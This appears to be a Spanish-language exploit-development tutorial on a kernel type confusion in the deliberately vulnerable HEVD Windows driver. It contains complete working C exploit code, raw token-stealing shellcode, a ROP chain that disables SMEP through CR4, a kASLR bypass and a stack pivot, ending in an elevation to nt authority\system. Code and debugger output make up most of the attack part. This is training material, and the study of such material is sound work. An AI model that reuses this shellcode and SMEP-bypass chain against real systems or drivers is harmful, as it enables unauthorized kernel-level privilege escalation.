xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



Exploit Development

HEVD: Type Confusion


En este post se llevara a cabo la explotación de otra de las vulnerabilidades del driver HEVD, en este caso un Type Confusion en modo kernel y aunque parece ser bastante sencillo al explotar la vulnerabilidad nos encontraremos con algunos problemas


Reversing


En este caso partiremos el código ioctl 0x222023 que nos interesa explotar, para ver como llegar hasta aquí se puede consultar la parte de reversing en el post anterior

Siguiendo la flecha verde podemos ver que es el bloque encargado de llamar a una función con el nombre TypeConfusionIoctlHandler que tiene la vulnerabilidad

Esta función se encarga de llamar a TriggerTypeConfusion pasandole como argumento una estructura UserTypeConfusionObject que recibe como entrada

La estructura que recibe como parámetro podemos verla desde WinDbg, ésta cuenta de solo 2 atributos cada uno de 8 bytes, estos se llaman OnjectID y ObjectType

0: kd> dt HEVD!_USER_TYPE_CONFUSION_OBJECT  
   +0x000 ObjectID         : Uint8B
   +0x008 ObjectType       : Uint8B

La función TriggerTypeConfusion inicia guardando la dirección a la estructura inicial en rbx, luego llama a la función ProbeForRead para verificar la accesibilidad y después a ExAllocatePoolWithTag para poder asignar un chunk del tamaño de la estructura, 16 bytes en la memoria del tipo NonPagedPool del kernel, el resultado que es el puntero al bloque lo guarda en r14 que será una estructura de 16 bytes como la anterior

El siguiente bloque llama varias veces a DbgPrintEx para mostrar información como el tipo de pool, el tamaño del chunk y su puntero, además los punteros a la estructura inicial UserTypeConfusionObject recibida y la KernelTypeConfusionObject que se creó en el pool anteriormente, tambíen muestra el tamaño de esta estructura

También podemos ver la estructura KernelTypeConfusionObject en WinDbg, esta consta de 3 atributos, el primero es ObjectID que ocupa los primeros 8 bytes y luego ObjectType y Callback que comparten el mismo offset y por lo tanto valor

0: kd> dt HEVD!_KERNEL_TYPE_CONFUSION_OBJECT
   +0x000 ObjectID         : Uint8B
   +0x008 ObjectType       : Uint8B
   +0x008 Callback         : Ptr64     void  

Más adelante guarda los valores de la estructura inicial en rbx a la creada en r14, luego le pasa la estructura en r14 a la función TypeConfusionObjectInitializer

Al iniciar la función en rcx se almacena el puntero a la estructura, luego muestra con DbgPrintEx el puntero al Callback que obtiene de [rcx + 8], luego mueve a rbx el valor de rcx y llama a [rbx + 8] donde se encuentra el Callback que tiene el mismo valor del ObjectType, por lo que si controlamos su valor también la llamada


Crashing


Utilizando DeviceIoControl podemos comunicarnos pasandole el handle y el código ioctl perteneciente a la función, además de ello el buffer que le pasaremos y su tamaño, el resto de parámetros los dejaremos como NULL ya que no nos interesan

BOOL DeviceIoControl(
  [in]                HANDLE       hDevice,
  [in]                DWORD        dwIoControlCode,
  [in, optional]      LPVOID       lpInBuffer,
  [in]                DWORD        nInBufferSize,
  [out, optional]     LPVOID       lpOutBuffer,
  [in]                DWORD        nOutBufferSize,
  [out, optional]     LPDWORD      lpBytesReturned,
  [in, out, optional] LPOVERLAPPED lpOverlapped
);

En un proyecto de Visual Studio definimos el siguiente código, iniciamos definiendo la estructura UserObject con 2 valores, luego creamos una instancia de este y al primer valor le damos un qword del byte 0x41 y al segundo de 0x42, luego la hacer la llamada ioctl le pasamos como parámetro la referencia a esta instancia

#include <windows.h>
#include <stdio.h>

typedef struct {
    ULONG_PTR objectID;
    ULONG_PTR objectType;
} UserObject;

int main() {
    UserObject payload = {
        0x4141414141414141,
        0x4242424242424242
    };

    HANDLE handle = CreateFileA("\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);  

    if (handle == INVALID_HANDLE_VALUE) {
        puts("[-] Failed to get handle");
        exit(1);
    }

    DeviceIoControl(handle, 0x222023, &payload, sizeof(payload), NULL, 0, NULL, NULL);

    return 0;
}

Para ver lo que está haciendo el ultimo bloque reverseado estableceremos un breakpoint en la función TypeConfusionObjectInitializer y continuaremos

0: kd> bp HEVD!TypeConfusionObjectInitializer  

0: kd> g

Luego de compilar el proyecto nuestro exploit nos queda en un .exe que ejecutamos

C:\Users\user\Desktop> exploit.exe  

Volviendo al debugger podemos ver que en el kernel hemos alcanzado el breakpoint a la función, podemos los valores de la estructura KernelTypeConfusionObject actual donde ObjectType y el Callback apuntan al segundo valor que enviamos

0: kd> g
Breakpoint 0 hit
HEVD!TypeConfusionObjectInitializer:
fffff806`59b87514 4053            push    rbx

0: kd> dt HEVD!_KERNEL_TYPE_CONFUSION_OBJECT @rcx
   +0x000 ObjectID         : 0x41414141`41414141
   +0x008 ObjectType       : 0x42424242`42424242
   +0x008 Callback         : 0x42424242`42424242     void  +4242424242424242  

Si avanzamos a la llamada a Callback podemos ver que apuntará a la dirección 0x4242424242424242 por lo que obtenemos el control del flujo del programa

0: kd> pc 3
HEVD!TypeConfusionObjectInitializer+0x1c:
fffff806`59b87530 ff15d2aaf7ff    call    qword ptr [HEVD!_imp_DbgPrintEx (fffff806`59b02008)]  
HEVD!TypeConfusionObjectInitializer+0x31:
fffff806`59b87545 ff15bdaaf7ff    call    qword ptr [HEVD!_imp_DbgPrintEx (fffff806`59b02008)]  
HEVD!TypeConfusionObjectInitializer+0x37:
fffff806`59b8754b ff5308          call    qword ptr [rbx+8]

0: kd> dqs rbx + 8 L1
ffffde0b`7e302be8  42424242`42424242


Exploit


Finalmente solo nos queda reservar un espacio un memoria para un shellcode, utilizaremos un token stealing, este shellcode esta diseñado para tomar el token del proceso SYSTEM y copiarlo a nuestro proceso actual por lo que deberiamos obtener sus privilegios, en el Callback apuntaremos a la dirección del shellcode por lo que deberia ejecutarse, una vez interpretado simplemente ejecutaremos una cmd.exe

#include <windows.h>
#include <stdio.h>

BYTE token_stealing[120] = {
    0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x82,
    0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc3, 0x48, 0x8b, 0x9b, 0x48, 0x04,
    0x00, 0x00, 0x48, 0x81, 0xeb, 0x48, 0x04, 0x00, 0x00, 0x48, 0x83, 0xbb,
    0x40, 0x04, 0x00, 0x00, 0x04, 0x75, 0xe8, 0x48, 0x8b, 0x8b, 0xb8, 0x04,
    0x00, 0x00, 0x80, 0xe1, 0xf0, 0x48, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00,
    0x66, 0x8b, 0x8a, 0xe4, 0x01, 0x00, 0x00, 0x66, 0xff, 0xc1, 0x66, 0x89,
    0x8a, 0xe4, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x92, 0x90, 0x00, 0x00, 0x00,
    0x48, 0x8b, 0xaa, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68, 0x01,
    0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xa2,
    0x80, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48, 0x0f, 0x07
};

typedef struct {
    ULONG_PTR objectID;
    ULONG_PTR objectType;
} UserObject;

int main() {
    LPVOID shellcode = VirtualAlloc(NULL, sizeof(token_stealing), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlCopyMemory(shellcode, token_stealing, sizeof(token_stealing));

    UserObject payload = {
        0x4141414141414141,
        (ULONG_PTR) shellcode
    };

    HANDLE handle = CreateFileA("\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);  

    if (handle == INVALID_HANDLE_VALUE) {
        puts("[-] Failed to get handle");
        exit(1);
    }

    DeviceIoControl(handle, 0x222023, &payload, sizeof(payload), NULL, 0, NULL, NULL);

    system("cmd.exe");
    exit(0);

    return 0;
}

Podemos comprobar su funcionamiento al ejecutarlo, al llamar a [rbx + 8] que es el callback ahora apunta a la dirección donde se encuentra nuestro shellcode

0: kd> bp HEVD!TypeConfusionObjectInitializer + 0x37

0: kd> g
Breakpoint 0 hit
HEVD!TypeConfusionObjectInitializer+0x37:
fffff806`59b8754b ff5308          call    qword ptr [rbx+8]

0: kd> u poi(rbx + 8) L1
000002a2`133e0000 65488b142588010000 mov   rdx,qword ptr gs:[188h]

0: kd> g

Al ejecutar el exploit deberiamos pasar del usuario llamado user con bajos privilegios a nt authority\system que es el usuario con máximos privilegios sobre el equipo

C:\Users\user\Desktop> whoami
windows\user

C:\Users\user\Desktop> exploit.exe
Microsoft Windows [Versión 10.0.19045.4651]
(c) Microsoft Corporation. Todos los derechos reservados.  

C:\Users\user\Desktop> whoami
nt authority\system

C:\Users\user\Desktop>


SMEP


El exploit anterior funciona bien sin embargo aún hay algo a tener en cuenta, este corria con la protección SMEP deshabilitada temporalmente sin embargo a partir de Windows 8 todos los windows actuales lo tienen activado por defecto, entonces veamos que pasa ahora si ejecutamos el exploit, al ejecutar el call e intentar interpretar la primera instrucción del shellcode nos lanza un BSOD y este muestra el error ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY y no podemos ejecutarlo

0: kd> g
Breakpoint 0 hit
HEVD!TypeConfusionObjectInitializer+0x37:
fffff806`59b8754b ff5308          call    qword ptr [rbx+8]

0: kd> t
000002a2`133e0000 65488b142588010000 mov   rdx,qword ptr gs:[188h]

0: kd> p
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x000000fc (0x000002A2133E0000,0x00000000927BD867,0xFFFFC48D2A526F40,0x0000000080000005)  

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

nt!DbgBreakPointWithStatus:
fffff806`51a077a0 cc              int     3

0: kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY (fc)
An attempt was made to execute non-executable memory.  The guilty driver
is on the stack trace (and is typically the current instruction pointer).
When possible, the guilty driver's name is printed on
the BugCheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: 000002a2133e0000, Virtual address for the attempted execute.
Arg2: 00000000927bd867, PTE contents.
Arg3: ffffc48d2a526f40, (reserved)
Arg4: 0000000080000005, (reserved)

El SMEP impide que se pueda ejecutar la memoria de modo usuario desde modo kernel, sin embargo esta protección es controlada por el bit 20 del registro cr4 por lo que si cambiamos su valor a 0 podriamos deshabilitarlo y ejecutar el shellcode

Entonces lo unico que necesitamos es tomar el valor en binario del registro cr4 cambiando el bit 20 por 0 y obtenemos su valor equivalente en hex a 0x250ef8

0: kd> .formats cr4
Evaluate expression:
  Hex:     00000000`00350ef8
  Decimal: 3477240
  Decimal (unsigned) : 3477240
  Octal:   0000000000000015207370
  Binary:  00000000 00000000 00000000 00000000 00000000 00110101 00001110 11111000
  Chars:   .....5..
  Time:    Mon Feb  9 23:54:00 1970
  Float:   low 4.87265e-039 high 0
  Double:  1.71798e-317
  
0: kd> .formats 0y1001010000111011111000
Evaluate expression:
  Hex:     00000000`00250ef8
  Decimal: 2428664
  Decimal (unsigned) : 2428664
  Octal:   0000000000000011207370
  Binary:  00000000 00000000 00000000 00000000 00000000 00100101 00001110 11111000
  Chars:   .....%..
  Time:    Wed Jan 28 20:37:44 1970
  Float:   low 3.40328e-039 high 0
  Double:  1.19992e-317

Como no podemos ejecutar shellcode haremos ROP para cambiar el bit, para hacerlo podemos buscar gadgets dentro del controlador o el kernel, sin embargo los gadgets del propio driver son bastante limitados por lo que usaremos ntoskrnl.exe, el primer gadget guarda un qword en rcx y el segundo mueve el valor de rcx al registro cr4, sin embargo aun tenemos un problema bastante importante, la protección kASLR

❯ ropper --file ntoskrnl.exe -I 0x0 --console  
[INFO] Load gadgets for section: .text
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(ntoskrnl.exe/PE/x86_64)> search pop rcx; ret;
[INFO] Searching for gadgets: pop rcx; ret;

[INFO] File: ntoskrnl.exe
0x00000000002163ec: pop rcx; ret;

(ntoskrnl.exe/PE/x86_64)> search mov cr4, rcx; ret;
[INFO] Searching for gadgets: mov cr4, rcx; ret;

[INFO] File: ntoskrnl.exe
0x00000000003a06a7: mov cr4, rcx; ret;

(ntoskrnl.exe/PE/x86_64)>

Necesitamos la dirección base del kernel sin embargo esta es bastante facil de obtener con el primer valor del array al utilizar la función EnumDeviceDrivers

LPVOID drivers[1024];
DWORD needed;

EnumDeviceDrivers(drivers, 1024, &needed);  
LPVOID ntoskrnl_base = drivers[0];

Después de escribir los 56 bytes escribiremos 4 qwords, los primeros 2 guardan el nuevo valor de cr4 en rcx, el tercero mueve a cr4 el valor en rcx deshabilitando asi el SMEP y el ultimo salta al shellcode a ejecutar en el modo usuario

*rop++ = (ULONGLONG) ntoskrnl_base + 0x2163ec; // pop rcx; ret;
*rop++ = (ULONGLONG) 0x350ef8 ^ 1UL << 20;     // cr4 value
*rop++ = (ULONGLONG) ntoskrnl_base + 0x3a06a7; // mov cr4, rcx; ret;  
*rop++ = (ULONGLONG) shellcode;                // token stealing


Stack Pivot


A diferencia de la explotación pasada obtuvimos el control a través de un call por lo que no controlamos aún el stack y necesitaremos un gadget para poder pivotar, lo unico no cualquier valor es válido sino que debe ser uno que este alineado

❯ ropper --file ntoskrnl.exe -I 0x0 --console  
[INFO] Load gadgets for section: .text
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(ntoskrnl.exe/PE/x86_64)> search mov esp, 0x
[INFO] Searching for gadgets: mov esp, 0x

[INFO] File: ntoskrnl.exe
............................................................
0x00000000002f0a30: mov esp, 0x48000000; add esp, 0x28; ret;
............................................................  

(ntoskrnl.exe/PE/x86_64)>

Si apuntamos a esta dirección el el callback el stack apuntará a 0x48000028 y al ejecutar el ret ejecutará toda la cadena rop que se encuentre en esa dirección

UserObject payload = {
    0x4141414141414141,
    (ULONG_PTR) ntoskrnl_base + 0x2f0a30 // mov esp, 0x48000000; add esp, 0x28; ret;  
};

Ya que tenemos una dirección fija donde ejecutará la cadena rop reservaremos un espacio en memoria de 0x1000 en esa dirección, luego rellenamos los 0x28 bytes del add esp e indicamos que la cadena rop inicia en 0x48000000 + 0x28

LPVOID pivot = VirtualAlloc((LPVOID) 0x48000000, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);  
RtlFillMemory((LPVOID) 0x48000000, 0x28, 'A');

ULONGLONG *rop = (ULONGLONG *) ((ULONGLONG) 0x48000000 + 0x28);

Nuestro exploit ahora se ve de esta forma, en el callback realiza un stack pivot para apuntar a la cadena rop que deshabilita el bit 20 de SMEP y ejecuta el shellcode

#include <windows.h>
#include <stdio.h>
#include <psapi.h>

BYTE token_stealing[120] = {
    0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x82,
    0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc3, 0x48, 0x8b, 0x9b, 0x48, 0x04,
    0x00, 0x00, 0x48, 0x81, 0xeb, 0x48, 0x04, 0x00, 0x00, 0x48, 0x83, 0xbb,
    0x40, 0x04, 0x00, 0x00, 0x04, 0x75, 0xe8, 0x48, 0x8b, 0x8b, 0xb8, 0x04,
    0x00, 0x00, 0x80, 0xe1, 0xf0, 0x48, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00,
    0x66, 0x8b, 0x8a, 0xe4, 0x01, 0x00, 0x00, 0x66, 0xff, 0xc1, 0x66, 0x89,
    0x8a, 0xe4, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x92, 0x90, 0x00, 0x00, 0x00,
    0x48, 0x8b, 0xaa, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68, 0x01,
    0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xa2,
    0x80, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48, 0x0f, 0x07
};

typedef struct {
    ULONG_PTR objectID;
    ULONG_PTR objectType;
} UserObject;

int main() {
    LPVOID drivers[1024];
    DWORD needed;

    EnumDeviceDrivers(drivers, 1024, &needed);  
    LPVOID ntoskrnl_base = drivers[0];

    LPVOID shellcode = VirtualAlloc(NULL, sizeof(token_stealing), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlCopyMemory(shellcode, token_stealing, sizeof(token_stealing));

    LPVOID pivot = VirtualAlloc((LPVOID) 0x48000000, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    RtlFillMemory((LPVOID) 0x48000000, 0x28, 'A');

    ULONGLONG *rop = (ULONGLONG *) ((ULONGLONG) 0x48000000 + 0x28);

    *rop++ = (ULONGLONG) ntoskrnl_base + 0x2163ec; // pop rcx; ret;
    *rop++ = (ULONGLONG) 0x350ef8 ^ 1UL << 20;     // cr4 value
    *rop++ = (ULONGLONG) ntoskrnl_base + 0x3a06a7; // mov cr4, rcx; ret;  
    *rop++ = (ULONGLONG) shellcode;                // token stealing

    UserObject payload = {
        0x4141414141414141,
        (ULONG_PTR) ntoskrnl_base + 0x2f0a30 // mov esp, 0x48000000; add esp, 0x28; ret;
    };

    HANDLE handle = CreateFileA("\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);  

    if (handle == INVALID_HANDLE_VALUE) {
        puts("[-] Failed to get handle");
        exit(1);
    }

    DeviceIoControl(handle, 0x222023, &payload, sizeof(payload), NULL, 0, NULL, NULL);

    system("cmd.exe");
    exit(0);

    return 0;
}

Al entrar a la llamada e intentar ejecutar la primera instrucción del stack pivot lanza un BSOD con el error UNEXPECTED_KERNEL_MODE_TRAP, que ocurre por 2 razones:

• La dirección asignada esta casi en el limite de la página y se necesita espacio para que el kernel pueda leer y escribir no solo delante sino también detrás

• Al asignar datos en la dirección 0x48000000 con un tamaño de 0x1000 bytes se direccionará a Page Table hasta la dirección 0x48001000 y no se tratará como Physical Memory por el kernel sino que permanecera como memoria tipo NonPaged

0: kd> g
Breakpoint 0 hit
HEVD!TypeConfusionObjectInitializer+0x37:
fffff807`483b754b ff5308          call    qword ptr [rbx+8]

0: kd> t
nt!ExfReleasePushLock+0x20:
fffff807`410f0a30 bc00000048      mov     esp,48000000h

0: kd> p
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x0000007f (0x0000000000000008,0xFFFF9D008EFD5E70,0x0000000048000028,0xFFFFF807410F0A38)

WARNING: This break is not a step/trace completion.
The last command has been cleared to prevent accidental continuation of this unrelated event.
Check the event, location and thread before resuming.
Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff807`412077a0 cc              int     3

0: kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

UNEXPECTED_KERNEL_MODE_TRAP (7f)
This means a trap occurred in kernel mode, and it's a trap of a kind that the kernel isn't allowed to have/catch (bound trap) or that is always instant death (double fault).  The first number in the BugCheck params is the number of the trap (8 = double fault, etc) Consult an Intel x86 family manual to learn more about what these traps are. Here is a *portion* of those codes:  
If kv shows a taskGate
        use .tss on the part before the colon, then kv.
Else if kv shows a trapframe
        use .trap on that value
Else
        .trap on the appropriate frame will show where the trap was taken (on x86, this will be the ebp that goes with the procedure KiTrap)
Endif
kb will then show the corrected stack.
Arguments:
Arg1: 0000000000000008, EXCEPTION_DOUBLE_FAULT
Arg2: ffff9d008efd5e70
Arg3: 0000000048000028
Arg4: fffff807410f0a38

El primer error lo solucionamos de forma bastante sencilla, solo reservando la memoria desde 0x1000 bytes antes de 0x48000000 dando un espacio considerable y el segundo utilizando VirtualLock para forzar la paginación de la memoria

LPVOID pivot = VirtualAlloc((LPVOID)(0x48000000 - 0x1000), 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);  
VirtualLock(pivot, 0x10000);

Ahora logramos ejecutar la primera instrucción pero al ejecutar la segunda lanza un error de tipo IRQL_NOT_LESS_OR_EQUAL y no importa como manipulemos la memoria siempre caemos en el, esto es porque al manipular el stack en WinDbg envia una excepción y al no entender que lo estamos modificando simplemente reinicia con un BSOD, una buena técnica para ello es ignorar estas excepciones no criticas ya que al ejecutarlo fuera del debugger funciona correctamente y otorga la shell

0: kd> g
Breakpoint 0 hit
HEVD!TypeConfusionObjectInitializer+0x37:
fffff806`6e75754b ff5308          call    qword ptr [rbx+8]

0: kd> t
nt!ExfReleasePushLock+0x20:
fffff806`662f0a30 bc00000048      mov     esp,48000000h

0: kd> p
nt!ExfReleasePushLock+0x25:
fffff806`662f0a35 83c428          add     esp,28h

0: kd> p
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x0000000a (0x0000000047FFF339,0x00000000000000FF,0x0000000000000040,0xFFFFF806663FFD40)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

nt!DbgBreakPointWithStatus:
fffff806`664077a0 cc              int     3

0: kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

IRQL_NOT_LESS_OR_EQUAL (a)
An attempt was made to access a pageable (or completely invalid) address at an interrupt request level (IRQL) that is too high.  This is usually caused by drivers using improper addresses.  
If a kernel debugger is available get the stack backtrace.
Arguments:
Arg1: 0000000047fff339, memory referenced
Arg2: 00000000000000ff, IRQL
Arg3: 0000000000000040, bitfield :
	bit 0 : value 0 = read operation, 1 = write operation
	bit 3 : value 0 = not an execute operation, 1 = execute operation (only on chips which support this level of status)
Arg4: fffff806663ffd40, address which referenced memory

Nuestro exploit ejecuta en el callback un stack pivot que ejecutará una cadena rop para modificar el bit 20 de cr4 para deshabilitar SMEP y saltar al shellcode

#include <windows.h>
#include <stdio.h>
#include <psapi.h>

BYTE token_stealing[120] = {
    0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x82,
    0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc3, 0x48, 0x8b, 0x9b, 0x48, 0x04,
    0x00, 0x00, 0x48, 0x81, 0xeb, 0x48, 0x04, 0x00, 0x00, 0x48, 0x83, 0xbb,
    0x40, 0x04, 0x00, 0x00, 0x04, 0x75, 0xe8, 0x48, 0x8b, 0x8b, 0xb8, 0x04,
    0x00, 0x00, 0x80, 0xe1, 0xf0, 0x48, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00,
    0x66, 0x8b, 0x8a, 0xe4, 0x01, 0x00, 0x00, 0x66, 0xff, 0xc1, 0x66, 0x89,
    0x8a, 0xe4, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x92, 0x90, 0x00, 0x00, 0x00,
    0x48, 0x8b, 0xaa, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68, 0x01,
    0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xa2,
    0x80, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48, 0x0f, 0x07
};

typedef struct {
    ULONG_PTR objectID;
    ULONG_PTR objectType;
} UserObject;

int main() {
    LPVOID drivers[1024];
    DWORD needed;

    EnumDeviceDrivers(drivers, 1024, &needed);  
    LPVOID ntoskrnl_base = drivers[0];

    LPVOID shellcode = VirtualAlloc(NULL, sizeof(token_stealing), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlCopyMemory(shellcode, token_stealing, sizeof(token_stealing));

    LPVOID pivot = VirtualAlloc((LPVOID) (0x48000000 - 0x1000), 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    VirtualLock(pivot, 0x10000);

    RtlFillMemory((LPVOID) 0x48000000, 0x28, 'A');
    ULONGLONG *rop = (ULONGLONG *) ((ULONGLONG) 0x48000000 + 0x28);

    *rop++ = (ULONGLONG) ntoskrnl_base + 0x2163ec; // pop rcx; ret;
    *rop++ = (ULONGLONG) 0x350ef8 ^ 1UL << 20;     // cr4 value
    *rop++ = (ULONGLONG) ntoskrnl_base + 0x3a06a7; // mov cr4, rcx; ret;
    *rop++ = (ULONGLONG) shellcode;                // token stealing

    UserObject payload = {
        0x4141414141414141,
        (ULONG_PTR) ntoskrnl_base + 0x2f0a30 // mov esp, 0x48000000; add esp, 0x28; ret;
    };

    HANDLE handle = CreateFileA("\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);  

    if (handle == INVALID_HANDLE_VALUE) {
        puts("[-] Failed to get handle");
        exit(1);
    }

    DeviceIoControl(handle, 0x222023, &payload, sizeof(payload), NULL, 0, NULL, NULL);

    system("cmd.exe");
    exit(0);

    return 0;
}

Ejecutamos el exploit fuera del debugger y pasamos del usuario user con bajos privilegios a nt authority\system con máximos privilegios en el equipo

C:\Users\user\Desktop> whoami
windows\user

C:\Users\user\Desktop> exploit.exe
Microsoft Windows [Versión 10.0.19045.4651]
(c) Microsoft Corporation. Todos los derechos reservados.  

C:\Users\user\Desktop> whoami
nt authority\system

C:\Users\user\Desktop>